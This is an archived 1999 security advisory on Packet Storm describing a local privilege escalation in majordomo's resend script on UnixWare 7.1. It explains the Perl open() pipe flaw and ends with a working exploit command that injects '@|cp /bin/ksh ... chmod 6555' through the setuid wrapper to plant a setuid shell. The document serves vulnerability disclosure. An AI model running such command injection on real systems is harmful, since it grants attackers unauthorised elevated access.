what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

majordomo.local.txt

majordomo.local.txt
Posted Dec 31, 1999
Authored by Brock Tellier

A vulnerability in majordomo allows local users to gain elevated privileges.

tags | exploit, local
SHA-256 | 792d59158dadd36a7ada42e732b5f076be51ac1491f09ece77427d758fc24205

majordomo.local.txt

Change Mirror Download
---------- Forwarded message ----------
Date: 28 Dec 99 20:47:44 CST
From: Brock Tellier <btellier@usa.net>
Subject: majordomo local exploit

OVERVIEW
A vulnerability in majordomo allows local users to gain elevated
privileges.

BACKGROUND
I've only tested the version of majordomo which comes with UnixWare
7.1 which is 1.94.4. This vulnerability may or not still be present
in newer versions of majordomo, but it exists on the default UW7.1
installation.

Thanks to rain.forest.puppy for his paper on how to exploit CGI/perl
scripts, as it helped me out in this exploit. Grab it at
https://www.wiretrip.net/rfp/p/doc.asp?id=6&iface=2

DETAILS
The majordomo wrapper allows users to run programs in the
/usr/local/majordomo directory with the uid of owner and the gid of
daemon. The permissions for wrapper are:

-rwsr-xr-x 1 root daemon 6464 Jan 4 1999
/usr/local/majordomo/wrapper

but wrapper immediatly setuid()'s and setgid()'s to owner:daemon before
execing the wrapped program.

A vulnerability in "/usr/local/majordomo/resend" will allow us to execute
arbitrary commands with our elevated privileges. The following code
snippet appears in resend, a perl script:

-snip-

# If the first argument is "@filename", read the real arguments
# from "filename", and shove them onto the ARGV for later processing
# by &Getopts()
#
if ($ARGV[0] =~ /^\@/) {
$fn = shift(@ARGV);
$fn =~ s/^@//;
open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");

-snip-

As you can see, if our first argument to resend starts with a "@",
resend will attempt to open() the filename. However, open() can
also be used to run programs if the first argument to open() begins
with a pipe "|". If our first argument is "@|id", resend will run
the program "id" with full privileges.

EXPLOIT

Our exploit is simple:

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier@usa.net


____________________________________________________________________
Get free email and a permanent address at https://www.netaddress.com/?N=1


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close